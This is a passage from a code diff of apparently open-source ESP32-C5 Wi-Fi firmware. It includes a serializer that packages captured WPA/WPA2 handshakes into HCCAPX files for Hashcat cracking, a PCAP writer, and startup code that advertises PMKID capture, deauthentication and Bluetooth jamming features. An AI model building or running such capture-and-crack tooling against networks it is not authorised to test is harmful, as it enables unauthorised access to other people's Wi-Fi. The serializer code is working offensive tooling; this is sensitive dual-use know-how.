||||
|
||||
// Get PCAP buffer for download
|
||||
uint8_t* handshake_capture_get_pcap(unsigned *size);
|
||||
|
||||
// Get HCCAPX buffer for download
|
||||
uint8_t* handshake_capture_get_hccapx(unsigned *size);
|
||||
|
||||
// Reset capture state
|
||||
void handshake_capture_reset(void);
|
||||
|
||||
// Utility: Get AP record by SSID
|
||||
const wifi_ap_record_t* handshake_capture_find_ap(const char *ssid);
|
||||
|
||||
// Utility: Scan and get AP list for target selection
|
||||
int handshake_capture_scan_targets(void);
|
||||
|
||||
#endif // HANDSHAKE_CAPTURE_H
|
||||
265
ESP32-C5-Toolkit/main/hccapx_serializer.c
Normal file
265
ESP32-C5-Toolkit/main/hccapx_serializer.c
Normal file
@@ -0,0 +1,265 @@
|
||||
/**
|
||||
* @file hccapx_serializer.c
|
||||
* @brief HCCAPX serializer for Hashcat-compatible output
|
||||
*
|
||||
* Generates HCCAPX format files for password cracking with Hashcat
|
||||
*/
|
||||
#include "hccapx_serializer.h"
|
||||
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <arpa/inet.h>
|
||||
#include "esp_log.h"
|
||||
#include "frame_analyzer.h"
|
||||
|
||||
static const char *TAG = "hccapx_serializer";
|
||||
|
||||
// HCCAPX constants
|
||||
#define HCCAPX_SIGNATURE 0x58504348 // "HCPX"
|
||||
#define HCCAPX_VERSION 4
|
||||
#define HCCAPX_MAX_EAPOL_SIZE 256
|
||||
|
||||
// Static HCCAPX buffer
|
||||
static hccapx_t hccapx = {
|
||||
.signature = HCCAPX_SIGNATURE,
|
||||
.version = HCCAPX_VERSION,
|
||||
.message_pair = 255, // Invalid until we have a complete handshake
|
||||
.keyver = HCCAPX_KEYVER_WPA2
|
||||
};
|
||||
|
||||
// State tracking
|
||||
static unsigned message_ap = 0;
|
||||
static unsigned message_sta = 0;
|
||||
static unsigned eapol_source = 0;
|
||||
|
||||
// Helper: Check if array is all zeros
|
||||
static bool is_array_zero(const uint8_t *array, unsigned size) {
|
||||
for (unsigned i = 0; i < size; i++) {
|
||||
if (array[i] != 0) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void hccapx_serializer_init(const uint8_t *ssid, unsigned ssid_len) {
|
||||
hccapx_serializer_reset();
|
||||
|
||||
if (ssid && ssid_len > 0 && ssid_len <= 32) {
|
||||
hccapx.essid_len = ssid_len;
|
||||
memcpy(hccapx.essid, ssid, ssid_len);
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "HCCAPX serializer initialized for SSID: %.*s", ssid_len, ssid);
|
||||
}
|
||||
|
||||
void hccapx_serializer_reset(void) {
|
||||
memset(&hccapx, 0, sizeof(hccapx_t));
|
||||
hccapx.signature = HCCAPX_SIGNATURE;
|
||||
hccapx.version = HCCAPX_VERSION;
|
||||
hccapx.message_pair = 255;
|
||||
hccapx.keyver = HCCAPX_KEYVER_WPA2;
|
||||
|
||||
message_ap = 0;
|
||||
message_sta = 0;
|
||||
eapol_source = 0;
|
||||
|
||||
ESP_LOGI(TAG, "HCCAPX serializer reset");
|
||||
}
|
||||
|
||||
// Save EAPOL packet to HCCAPX
|
||||
static unsigned save_eapol(eapol_packet_t *eapol_packet, eapol_key_packet_t *eapol_key) {
|
||||
unsigned eapol_len = sizeof(eapol_packet_header_t) + ntohs(eapol_packet->header.packet_body_length);
|
||||
|
||||
if (eapol_len > HCCAPX_MAX_EAPOL_SIZE) {
|
||||
ESP_LOGW(TAG, "EAPOL too long (%u > %u)", eapol_len, HCCAPX_MAX_EAPOL_SIZE);
|
||||
return 1;
|
||||
}
|
||||
|
||||
hccapx.eapol_len = eapol_len;
|
||||
memcpy(hccapx.eapol, eapol_packet, eapol_len);
|
||||
memcpy(hccapx.keymic, eapol_key->key_mic, 16);
|
||||
|
||||
// Clear MIC in saved EAPOL so Hashcat can calculate it
|
||||
// MIC is at offset 81 in EAPOL-Key packet (after 4-byte EAPOL header)
|
||||
memset(&hccapx.eapol[81], 0, 16);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Handle M1 from AP
|
||||
static void ap_message_m1(eapol_key_packet_t *eapol_key) {
|
||||
ESP_LOGI(TAG, "Processing M1 (AP)");
|
||||
message_ap = 1;
|
||||
memcpy(hccapx.nonce_ap, eapol_key->key_nonce, 32);
|
||||
}
|
||||
|
||||
// Handle M3 from AP
|
||||
static void ap_message_m3(eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
|
||||
ESP_LOGI(TAG, "Processing M3 (AP)");
|
||||
message_ap = 3;
|
||||
|
||||
if (message_ap == 0) {
|
||||
// No M1 seen, copy ANonce from M3
|
||||
memcpy(hccapx.nonce_ap, eapol_key->key_nonce, 32);
|
||||
}
|
||||
|
||||
if (eapol_source == 2) {
|
||||
// Already have EAPOL from M2
|
||||
hccapx.message_pair = 2;
|
||||
return;
|
||||
}
|
||||
|
||||
if (save_eapol(eapol, eapol_key) != 0) return;
|
||||
|
||||
eapol_source = 3;
|
||||
if (message_sta == 2) {
|
||||
hccapx.message_pair = 3;
|
||||
}
|
||||
}
|
||||
|
||||
// Handle AP messages (M1 or M3)
|
||||
static void process_ap_message(data_frame_t *frame, eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
|
||||
// Verify STA MAC consistency
|
||||
if (!is_array_zero(hccapx.mac_sta, 6) &&
|
||||
memcmp(frame->mac_header.addr1, hccapx.mac_sta, 6) != 0) {
|
||||
ESP_LOGW(TAG, "Different STA, ignoring");
|
||||
return;
|
||||
}
|
||||
|
||||
if (message_ap == 0) {
|
||||
memcpy(hccapx.mac_ap, frame->mac_header.addr2, 6);
|
||||
}
|
||||
|
||||
// M1 has empty Key MIC, M3 has filled Key MIC
|
||||
if (is_array_zero(eapol_key->key_mic, 16)) {
|
||||
ap_message_m1(eapol_key);
|
||||
} else {
|
||||
ap_message_m3(eapol, eapol_key);
|
||||
}
|
||||
}
|
||||
|
||||
// Handle M2 from STA
|
||||
static void sta_message_m2(eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
|
||||
ESP_LOGI(TAG, "Processing M2 (STA)");
|
||||
message_sta = 2;
|
||||
memcpy(hccapx.nonce_sta, eapol_key->key_nonce, 32);
|
||||
|
||||
if (save_eapol(eapol, eapol_key) != 0) return;
|
||||
|
||||
eapol_source = 2;
|
||||
if (message_ap == 1) {
|
||||
hccapx.message_pair = 0; // M1+M2
|
||||
}
|
||||
}
|
||||
|
||||
// Handle M4 from STA
|
||||
static void sta_message_m4(eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
|
||||
ESP_LOGI(TAG, "Processing M4 (STA)");
|
||||
|
||||
if (message_sta == 2 && eapol_source != 0) {
|
||||
ESP_LOGD(TAG, "Already have M2, M4 not needed");
|
||||
return;
|
||||
}
|
||||
|
||||
if (message_ap == 0) {
|
||||
ESP_LOGW(TAG, "No AP message received yet");
|
||||
return;
|
||||
}
|
||||
|
||||
if (eapol_source == 3) {
|
||||
hccapx.message_pair = 4;
|
||||
return;
|
||||
}
|
||||
|
||||
if (save_eapol(eapol, eapol_key) != 0) return;
|
||||
|
||||
eapol_source = 4;
|
||||
if (message_ap == 1) {
|
||||
hccapx.message_pair = 1; // M1+M4
|
||||
}
|
||||
if (message_ap == 3) {
|
||||
hccapx.message_pair = 5; // M3+M4
|
||||
}
|
||||
}
|
||||
|
||||
// Handle STA messages (M2 or M4)
|
||||
static void process_sta_message(data_frame_t *frame, eapol_packet_t *eapol, eapol_key_packet_t *eapol_key) {
|
||||
if (is_array_zero(hccapx.mac_sta, 6)) {
|
||||
memcpy(hccapx.mac_sta, frame->mac_header.addr2, 6);
|
||||
} else if (memcmp(frame->mac_header.addr2, hccapx.mac_sta, 6) != 0) {
|
||||
ESP_LOGW(TAG, "Different STA, ignoring");
|
||||
return;
|
||||
}
|
||||
|
||||
// M2 has SNonce, M4 has empty SNonce
|
||||
if (!is_array_zero(eapol_key->key_nonce, 32)) {
|
||||
sta_message_m2(eapol, eapol_key);
|
||||
} else {
|
||||
sta_message_m4(eapol, eapol_key);
|
||||
}
|
||||
}
|
||||
|
||||
void hccapx_serializer_add_frame(data_frame_t *frame) {
|
||||
// Parse EAPOL
|
||||
eapol_packet_t *eapol = parse_eapol_packet(frame);
|
||||
if (!eapol) return;
|
||||
|
||||
eapol_key_packet_t *eapol_key = parse_eapol_key_packet(eapol);
|
||||
if (!eapol_key) return;
|
||||
|
||||
// Determine direction: compare addr2 (source) with addr3 (BSSID)
|
||||
if (memcmp(frame->mac_header.addr2, frame->mac_header.addr3, 6) == 0) {
|
||||
// Source == BSSID => From AP
|
||||
process_ap_message(frame, eapol, eapol_key);
|
||||
} else if (memcmp(frame->mac_header.addr1, frame->mac_header.addr3, 6) == 0) {
|
||||
// Dest == BSSID => From STA
|
||||
process_sta_message(frame, eapol, eapol_key);
|
||||
} else {
|
||||
ESP_LOGW(TAG, "Unknown frame format");
|
||||
}
|
||||
}
|
||||
|
||||
void hccapx_serializer_build(const handshake_data_t *handshake) {
|
||||
if (!handshake || !handshake->complete) {
|
||||
ESP_LOGW(TAG, "Incomplete handshake, cannot build HCCAPX");
|
||||
return;
|
||||
}
|
||||
|
||||
hccapx_serializer_reset();
|
||||
|
||||
// Copy data from handshake
|
||||
hccapx.essid_len = handshake->ssid_len;
|
||||
memcpy(hccapx.essid, handshake->ssid, handshake->ssid_len);
|
||||
|
||||
memcpy(hccapx.mac_ap, handshake->ap_mac, 6);
|
||||
memcpy(hccapx.mac_sta, handshake->sta_mac, 6);
|
||||
|
||||
memcpy(hccapx.nonce_ap, handshake->anonce, 32);
|
||||
memcpy(hccapx.nonce_sta, handshake->snonce, 32);
|
||||
|
||||
memcpy(hccapx.keymic, handshake->mic, 16);
|
||||
|
||||
if (handshake->eapol_len > 0 && handshake->eapol_len <= HCCAPX_MAX_EAPOL_SIZE) {
|
||||
hccapx.eapol_len = handshake->eapol_len;
|
||||
memcpy(hccapx.eapol, handshake->eapol, handshake->eapol_len);
|
||||
}
|
||||
|
||||
hccapx.message_pair = handshake->message_pair;
|
||||
hccapx.keyver = HCCAPX_KEYVER_WPA2;
|
||||
|
||||
ESP_LOGI(TAG, "HCCAPX built from handshake data");
|
||||
}
|
||||
|
||||
hccapx_t* hccapx_serializer_get(void) {
|
||||
if (hccapx.message_pair == 255) {
|
||||
return NULL; // No valid handshake
|
||||
}
|
||||
return &hccapx;
|
||||
}
|
||||
|
||||
unsigned hccapx_serializer_get_size(void) {
|
||||
return sizeof(hccapx_t);
|
||||
}
|
||||
|
||||
bool hccapx_serializer_is_valid(void) {
|
||||
return hccapx.message_pair != 255;
|
||||
}
|
||||
63
ESP32-C5-Toolkit/main/hccapx_serializer.h
Normal file
63
ESP32-C5-Toolkit/main/hccapx_serializer.h
Normal file
@@ -0,0 +1,63 @@
|
||||
/**
|
||||
* @file hccapx_serializer.h
|
||||
* @brief HCCAPX file serializer for Hashcat compatibility
|
||||
*
|
||||
* Reference: https://hashcat.net/wiki/doku.php?id=hccapx
|
||||
*/
|
||||
#ifndef HCCAPX_SERIALIZER_H
|
||||
#define HCCAPX_SERIALIZER_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include "frame_analyzer_types.h"
|
||||
|
||||
// HCCAPX structure (393 bytes per record)
|
||||
typedef struct __attribute__((packed)) {
|
||||
uint32_t signature; // "HCPX" = 0x58504348
|
||||
uint32_t version; // Version 4
|
||||
uint8_t message_pair; // Message pair bitmask
|
||||
uint8_t essid_len; // SSID length
|
||||
uint8_t essid[32]; // SSID
|
||||
uint8_t keyver; // WPA/WPA2 key version
|
||||
uint8_t keymic[16]; // Key MIC
|
||||
uint8_t mac_ap[6]; // AP MAC address
|
||||
uint8_t nonce_ap[32]; // ANonce
|
||||
uint8_t mac_sta[6]; // Station MAC address
|
||||
uint8_t nonce_sta[32]; // SNonce
|
||||
uint16_t eapol_len; // EAPOL length
|
||||
uint8_t eapol[256]; // EAPOL packet
|
||||
} hccapx_t;
|
||||
|
||||
// Message Pair Values:
|
||||
// 0 = M1+M2, first, only good if PMK == 0
|
||||
// 1 = M1+M4 (real)
|
||||
// 2 = M2+M3, first, only good if PMK == 0
|
||||
// 3 = M2+M3
|
||||
// 4 = M3+M4, first
|
||||
// 5 = M3+M4
|
||||
|
||||
// Key version
|
||||
#define HCCAPX_KEYVER_WPA 1
|
||||
#define HCCAPX_KEYVER_WPA2 2
|
||||
|
||||
// Initialize HCCAPX serializer with SSID
|
||||
void hccapx_serializer_init(const uint8_t *ssid, unsigned ssid_len);
|
||||
|
||||
// Add frame to HCCAPX (processes handshake messages)
|
||||
void hccapx_serializer_add_frame(data_frame_t *frame);
|
||||
|
||||
// Build HCCAPX from captured handshake data
|
||||
void hccapx_serializer_build(const handshake_data_t *handshake);
|
||||
|
||||
// Get HCCAPX structure (NULL if not complete)
|
||||
hccapx_t* hccapx_serializer_get(void);
|
||||
|
||||
// Get HCCAPX buffer size
|
||||
unsigned hccapx_serializer_get_size(void);
|
||||
|
||||
// Check if HCCAPX is valid/complete
|
||||
bool hccapx_serializer_is_valid(void);
|
||||
|
||||
// Reset HCCAPX serializer
|
||||
void hccapx_serializer_reset(void);
|
||||
|
||||
#endif // HCCAPX_SERIALIZER_H
|
||||
8
ESP32-C5-Toolkit/main/idf_component.yml
Normal file
8
ESP32-C5-Toolkit/main/idf_component.yml
Normal file
@@ -0,0 +1,8 @@
|
||||
## IDF Component Manager Manifest File
|
||||
dependencies:
|
||||
## Required IDF version
|
||||
idf:
|
||||
version: '>=5.0.0'
|
||||
# cJSON library for JSON parsing
|
||||
espressif/cjson: '*'
|
||||
|
||||
89
ESP32-C5-Toolkit/main/main.c
Normal file
89
ESP32-C5-Toolkit/main/main.c
Normal file
@@ -0,0 +1,89 @@
|
||||
#include <stdio.h>
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_system.h"
|
||||
#include "esp_random.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "esp_wifi_types.h"
|
||||
#include "hal/efuse_hal.h"
|
||||
#include "esp_mac.h"
|
||||
#include "esp_chip_info.h"
|
||||
#include "web_server.h"
|
||||
#include "esp_netif.h"
|
||||
#include "lwip/ip4_addr.h"
|
||||
#include "board_config.h"
|
||||
#include "wifi_init.h"
|
||||
#include "handshake_capture.h"
|
||||
|
||||
// Define MACSTR and MAC2STR
|
||||
#ifndef MAC2STR
|
||||
#define MAC2STR(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5]
|
||||
#define MACSTR "%02x:%02x:%02x:%02x:%02x:%02x"
|
||||
#endif
|
||||
|
||||
static const char* TAG = "esp32_c5_toolkit";
|
||||
|
||||
void app_main(void) {
|
||||
printf("\n\n=== ESP32-C5 Toolkit Starting ===\n");
|
||||
|
||||
// Initialize NVS
|
||||
esp_err_t ret = nvs_flash_init();
|
||||
if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) {
|
||||
ESP_ERROR_CHECK(nvs_flash_erase());
|
||||
ret = nvs_flash_init();
|
||||
}
|
||||
ESP_ERROR_CHECK(ret);
|
||||
printf("NVS initialized OK\n");
|
||||
|
||||
// Print system info
|
||||
ESP_LOGI(TAG, "╔════════════════════════════════════════╗");
|
||||
ESP_LOGI(TAG, "║ ESP32-C5 Unified Toolkit ║");
|
||||
ESP_LOGI(TAG, "╚════════════════════════════════════════╝");
|
||||
ESP_LOGI(TAG, "Starting on %s", BOARD_NAME);
|
||||
ESP_LOGI(TAG, "IDF Version: %s", esp_get_idf_version());
|
||||
|
||||
esp_chip_info_t chip_info;
|
||||
esp_chip_info(&chip_info);
|
||||
ESP_LOGI(TAG, "Chip model: %d, cores: %d", chip_info.model, chip_info.cores);
|
||||
|
||||
printf("Initializing WiFi...\n");
|
||||
// Initialize WiFi
|
||||
wifi_init_ap();
|
||||
printf("WiFi initialized OK\n");
|
||||
|
||||
printf("Starting web server...\n");
|
||||
// Initialize and start web server
|
||||
init_web_server();
|
||||
printf("Web server started OK\n");
|
||||
|
||||
printf("Initializing handshake capture module...\n");
|
||||
// Initialize handshake capture (WPA/WPA2 handshake + PMKID capture)
|
||||
handshake_capture_init();
|
||||
printf("Handshake capture module ready\n");
|
||||
|
||||
// Display access instructions
|
||||
ESP_LOGI(TAG, "");
|
||||
ESP_LOGI(TAG, "╔════════════════════════════════════════╗");
|
||||
ESP_LOGI(TAG, "║ Web Interface Ready ║");
|
||||
ESP_LOGI(TAG, "╚════════════════════════════════════════╝");
|
||||
ESP_LOGI(TAG, "Connect to WiFi SSID: ESP32-C5-Toolkit");
|
||||
ESP_LOGI(TAG, "Password: h4ck3rm4n");
|
||||
ESP_LOGI(TAG, "Web interface: http://192.168.4.1");
|
||||
ESP_LOGI(TAG, "");
|
||||
ESP_LOGI(TAG, "Features:");
|
||||
ESP_LOGI(TAG, " - WiFi Network Scanner (2.4GHz + 5GHz)");
|
||||
ESP_LOGI(TAG, " - WPA/WPA2 Handshake Capture (DUAL RADIO)");
|
||||
ESP_LOGI(TAG, " - PMKID Capture Attack");
|
||||
ESP_LOGI(TAG, " - PCAP & HCCAPX Download (Browser)");
|
||||
ESP_LOGI(TAG, " - Advanced Packet Sniffer with Signal Analysis");
|
||||
ESP_LOGI(TAG, " - Dual-Band Deauth Engine (Authorized use only!)");
|
||||
ESP_LOGI(TAG, " - Signal Analysis & Channel Mapping");
|
||||
ESP_LOGI(TAG, " - Real-time Graphs & Visualizations");
|
||||
ESP_LOGI(TAG, " - Professional Hacker-Style UI");
|
||||
ESP_LOGI(TAG, "");
|
||||
|
||||
printf("=== System Ready! ===\n\n");
|
||||
}
|
||||
77
ESP32-C5-Toolkit/main/main.c.backup
Normal file
77
ESP32-C5-Toolkit/main/main.c.backup
Normal file
@@ -0,0 +1,77 @@
|
||||
#include <stdio.h>
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_system.h"
|
||||
#include "esp_random.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "esp_wifi_types.h"
|
||||
#include "hal/efuse_hal.h"
|
||||
#include "esp_mac.h"
|
||||
#include "esp_chip_info.h"
|
||||
#include "web_server.h"
|
||||
#include "esp_netif.h"
|
||||
#include "lwip/ip4_addr.h"
|
||||
#include "board_config.h"
|
||||
#include "wifi_init.h"
|
||||
// #include "bt_scanner.h" // Temporarily disabled
|
||||
|
||||
// Define MACSTR and MAC2STR
|
||||
#ifndef MAC2STR
|
||||
#define MAC2STR(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5]
|
||||
#define MACSTR "%02x:%02x:%02x:%02x:%02x:%02x"
|
||||
#endif
|
||||
|
||||
static const char* TAG = "esp32_c5_toolkit";
|
||||
|
||||
void app_main(void) {
|
||||
// Initialize NVS
|
||||
esp_err_t ret = nvs_flash_init();
|
||||
if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) {
|
||||
ESP_ERROR_CHECK(nvs_flash_erase());
|
||||
ret = nvs_flash_init();
|
||||
}
|
||||
ESP_ERROR_CHECK(ret);
|
||||
|
||||
// Print system info
|
||||
ESP_LOGI(TAG, "╔════════════════════════════════════════╗");
|
||||
ESP_LOGI(TAG, "║ ESP32-C5 Unified Toolkit ║");
|
||||
ESP_LOGI(TAG, "╚════════════════════════════════════════╝");
|
||||
ESP_LOGI(TAG, "Starting on %s", BOARD_NAME);
|
||||
ESP_LOGI(TAG, "IDF Version: %s", esp_get_idf_version());
|
||||
|
||||
esp_chip_info_t chip_info;
|
||||
esp_chip_info(&chip_info);
|
||||
ESP_LOGI(TAG, "Chip model: %d, cores: %d", chip_info.model, chip_info.cores);
|
||||
|
||||
// Initialize WiFi
|
||||
wifi_init_ap();
|
||||
|
||||
// Initialize Bluetooth scanner
|
||||
// bt_scanner_init(); // Temporarily disabled - BLE linking issues
|
||||
|
||||
// Initialize and start web server
|
||||
init_web_server();
|
||||
|
||||
// Display access instructions
|
||||
ESP_LOGI(TAG, "");
|
||||
ESP_LOGI(TAG, "╔════════════════════════════════════════╗");
|
||||
ESP_LOGI(TAG, "║ Web Interface Ready ║");
|
||||
ESP_LOGI(TAG, "╚════════════════════════════════════════╝");
|
||||
ESP_LOGI(TAG, "Connect to WiFi SSID: ESP32-C5-Toolkit");
|
||||
ESP_LOGI(TAG, "Password: h4ck3rm4n");
|
||||
ESP_LOGI(TAG, "Web interface: http://192.168.4.1");
|
||||
ESP_LOGI(TAG, "");
|
||||
ESP_LOGI(TAG, "Features:");
|
||||
ESP_LOGI(TAG, " - WiFi Network Scanner (2.4GHz + 5GHz)");
|
||||
ESP_LOGI(TAG, " - Advanced Packet Sniffer with Signal Analysis");
|
||||
ESP_LOGI(TAG, " - Dual-Band Deauth Engine (Authorized use only!)");
|
||||
ESP_LOGI(TAG, " - Bluetooth Scanner & Jamming");
|
||||
ESP_LOGI(TAG, " - Signal Analysis & Channel Mapping");
|
||||
ESP_LOGI(TAG, " - Real-time Graphs & Visualizations");
|
||||
ESP_LOGI(TAG, " - Advanced System Dashboard");
|
||||
ESP_LOGI(TAG, " - Professional Hacker-Style UI");
|
||||
ESP_LOGI(TAG, "");
|
||||
}
|
||||
145
ESP32-C5-Toolkit/main/pcap_serializer.c
Normal file
145
ESP32-C5-Toolkit/main/pcap_serializer.c
Normal file
@@ -0,0 +1,145 @@
|
||||
/**
|
||||
* @file pcap_serializer.c
|
||||
* @brief PCAP file serializer implementation
|
||||
*
|
||||
* Generates PCAP format files compatible with Wireshark and other tools
|
||||
*/
|
||||
#include "pcap_serializer.h"
|
||||
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include "esp_log.h"
|
||||
|
||||
static const char *TAG = "pcap_serializer";
|
||||
|
||||
// PCAP Constants
|
||||
#define PCAP_MAGIC_NUMBER 0xa1b2c3d4
|
||||
#define SNAPLEN 65535
|
||||
#define LINKTYPE_IEEE802_11 105 // 802.11 wireless
|
||||
#define MAX_PCAP_SIZE (512 * 1024) // 512KB limit to prevent memory exhaustion
|
||||
|
||||
// Buffer management
|
||||
static uint8_t *pcap_buffer = NULL;
|
||||
static unsigned pcap_size = 0;
|
||||
static unsigned packet_count = 0;
|
||||
|
||||
uint8_t* pcap_serializer_init(void) {
|
||||
// Free any existing buffer
|
||||
if (pcap_buffer) {
|
||||
free(pcap_buffer);
|
||||
}
|
||||
|
||||
// Create global header
|
||||
pcap_global_header_t header = {
|
||||
.magic_number = PCAP_MAGIC_NUMBER,
|
||||
.version_major = 2,
|
||||
.version_minor = 4,
|
||||
.thiszone = 0,
|
||||
.sigfigs = 0,
|
||||
.snaplen = SNAPLEN,
|
||||
.network = LINKTYPE_IEEE802_11
|
||||
};
|
||||
|
||||
// Allocate buffer for header
|
||||
pcap_buffer = malloc(sizeof(pcap_global_header_t));
|
||||
if (!pcap_buffer) {
|
||||
ESP_LOGE(TAG, "Failed to allocate PCAP buffer");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(pcap_buffer, &header, sizeof(pcap_global_header_t));
|
||||
pcap_size = sizeof(pcap_global_header_t);
|
||||
packet_count = 0;
|
||||
|
||||
ESP_LOGI(TAG, "PCAP serializer initialized");
|
||||
return pcap_buffer;
|
||||
}
|
||||
|
||||
void pcap_serializer_append_frame(const uint8_t *buffer, unsigned size, unsigned ts_usec) {
|
||||
if (!buffer || size == 0) {
|
||||
ESP_LOGD(TAG, "Empty frame, not appending");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!pcap_buffer) {
|
||||
ESP_LOGW(TAG, "PCAP not initialized, initializing now");
|
||||
pcap_serializer_init();
|
||||
if (!pcap_buffer) return;
|
||||
}
|
||||
|
||||
// Create record header
|
||||
pcap_record_header_t record = {
|
||||
.ts_sec = ts_usec / 1000000,
|
||||
.ts_usec = ts_usec % 1000000,
|
||||
.incl_len = size,
|
||||
.orig_len = size
|
||||
};
|
||||
|
||||
// Limit to SNAPLEN
|
||||
if (size > SNAPLEN) {
|
||||
size = SNAPLEN;
|
||||
record.incl_len = SNAPLEN;
|
||||
}
|
||||
|
||||
// Reallocate buffer
|
||||
unsigned new_size = pcap_size + sizeof(pcap_record_header_t) + size;
|
||||
|
||||
// Check if new size exceeds maximum limit
|
||||
if (new_size > MAX_PCAP_SIZE) {
|
||||
ESP_LOGW(TAG, "PCAP buffer limit reached (%u bytes), dropping frame", MAX_PCAP_SIZE);
|
||||
return;
|
||||
}
|
||||
|
||||
uint8_t *new_buffer = realloc(pcap_buffer, new_size);
|
||||
if (!new_buffer) {
|
||||
ESP_LOGE(TAG, "Failed to reallocate PCAP buffer (size: %u bytes)! PCAP may be incomplete.", new_size);
|
||||
// Optionally: Could implement packet dropping strategy here (FIFO)
|
||||
return;
|
||||
}
|
||||
|
||||
// Append record header and data
|
||||
memcpy(new_buffer + pcap_size, &record, sizeof(pcap_record_header_t));
|
||||
memcpy(new_buffer + pcap_size + sizeof(pcap_record_header_t), buffer, size);
|
||||
|
||||
pcap_buffer = new_buffer;
|
||||
pcap_size = new_size;
|
||||
packet_count++;
|
||||
|
||||
ESP_LOGD(TAG, "Appended frame: %u bytes (total: %u bytes, %u packets)",
|
||||
size, pcap_size, packet_count);
|
||||
}
|
||||
|
||||
void pcap_serializer_deinit(void) {
|
||||
if (pcap_buffer) {
|
||||
free(pcap_buffer);
|
||||
pcap_buffer = NULL;
|
||||
}
|
||||
pcap_size = 0;
|
||||
packet_count = 0;
|
||||
ESP_LOGI(TAG, "PCAP serializer deinitialized");
|
||||
}
|
||||
|
||||
unsigned pcap_serializer_get_size(void) {
|
||||
return pcap_size;
|
||||
}
|
||||
|
||||
uint8_t* pcap_serializer_get_buffer(void) {
|
||||
return pcap_buffer;
|
||||
}
|
||||
|
||||
void pcap_serializer_reset(void) {
|
||||
// Keep just the global header
|
||||
if (pcap_buffer && pcap_size > sizeof(pcap_global_header_t)) {
|
||||
uint8_t *new_buffer = realloc(pcap_buffer, sizeof(pcap_global_header_t));
|
||||
if (new_buffer) {
|
||||
pcap_buffer = new_buffer;
|
||||
}
|
||||
}
|
||||
pcap_size = sizeof(pcap_global_header_t);
|
||||
packet_count = 0;
|
||||
ESP_LOGI(TAG, "PCAP buffer reset");
|
||||
}
|
||||
|
||||
unsigned pcap_serializer_get_packet_count(void) {
|
||||
return packet_count;
|
||||
}
|
||||
50
ESP32-C5-Toolkit/main/pcap_serializer.h
Normal file
50
ESP32-C5-Toolkit/main/pcap_serializer.h
Normal file
@@ -0,0 +1,50 @@
|
||||
/**
|
||||
* @file pcap_serializer.h
|
||||
* @brief PCAP file format serializer for Wireshark compatibility
|
||||
*/
|
||||
#ifndef PCAP_SERIALIZER_H
|
||||
#define PCAP_SERIALIZER_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
// PCAP Global Header
|
||||
typedef struct __attribute__((packed)) {
|
||||
uint32_t magic_number; // 0xa1b2c3d4
|
||||
uint16_t version_major; // 2
|
||||
uint16_t version_minor; // 4
|
||||
int32_t thiszone; // GMT offset (usually 0)
|
||||
uint32_t sigfigs; // Timestamp accuracy
|
||||
uint32_t snaplen; // Max packet length
|
||||
uint32_t network; // Link-layer type
|
||||
} pcap_global_header_t;
|
||||
|
||||
// PCAP Packet Header
|
||||
typedef struct __attribute__((packed)) {
|
||||
uint32_t ts_sec; // Timestamp seconds
|
||||
uint32_t ts_usec; // Timestamp microseconds
|
||||
uint32_t incl_len; // Captured length
|
||||
uint32_t orig_len; // Original length
|
||||
} pcap_record_header_t;
|
||||
|
||||
// Initialize PCAP serializer
|
||||
uint8_t* pcap_serializer_init(void);
|
||||
|
||||
// Append a captured frame to PCAP buffer
|
||||
void pcap_serializer_append_frame(const uint8_t *buffer, unsigned size, unsigned ts_usec);
|
||||
|
||||
// Deinitialize and free PCAP buffer
|
||||
void pcap_serializer_deinit(void);
|
||||
|
||||
// Get current PCAP buffer size
|
||||
unsigned pcap_serializer_get_size(void);
|
||||
|
||||
// Get PCAP buffer pointer
|
||||
uint8_t* pcap_serializer_get_buffer(void);
|
||||
|
||||
// Reset PCAP buffer (keep header, clear packets)
|
||||
void pcap_serializer_reset(void);
|
||||
|
||||
// Get number of packets in buffer
|
||||
unsigned pcap_serializer_get_packet_count(void);
|
||||
|
||||
#endif // PCAP_SERIALIZER_H
|
||||
104
ESP32-C5-Toolkit/main/signal_analysis.c
Normal file
104
ESP32-C5-Toolkit/main/signal_analysis.c
Normal file
@@ -0,0 +1,104 @@
|
||||
#include "signal_analysis.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include "esp_timer.h"
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define MAX_CHANNELS 165
|
||||
#define MAX_HISTORY 100
|
||||
|
||||
// Channel utilization tracking
|
||||
static channel_data_t channel_stats[MAX_CHANNELS];
|
||||
static SemaphoreHandle_t signal_mutex = NULL;
|
||||
|
||||
// RSSI history tracking (per BSSID)
|
||||
typedef struct {
|
||||
uint8_t bssid[6];
|
||||
int8_t rssi_history[MAX_HISTORY];
|
||||
uint32_t timestamps[MAX_HISTORY];
|
||||
int head;
|
||||
int count;
|
||||
} rssi_tracker_t;
|
||||
|
||||
static rssi_tracker_t rssi_trackers[10];
|
||||
static int tracker_count = 0;
|
||||
|
||||
void signal_update_packet(uint8_t channel, int8_t rssi) {
|
||||
if (channel == 0 || channel > MAX_CHANNELS) {
|
||||
return;
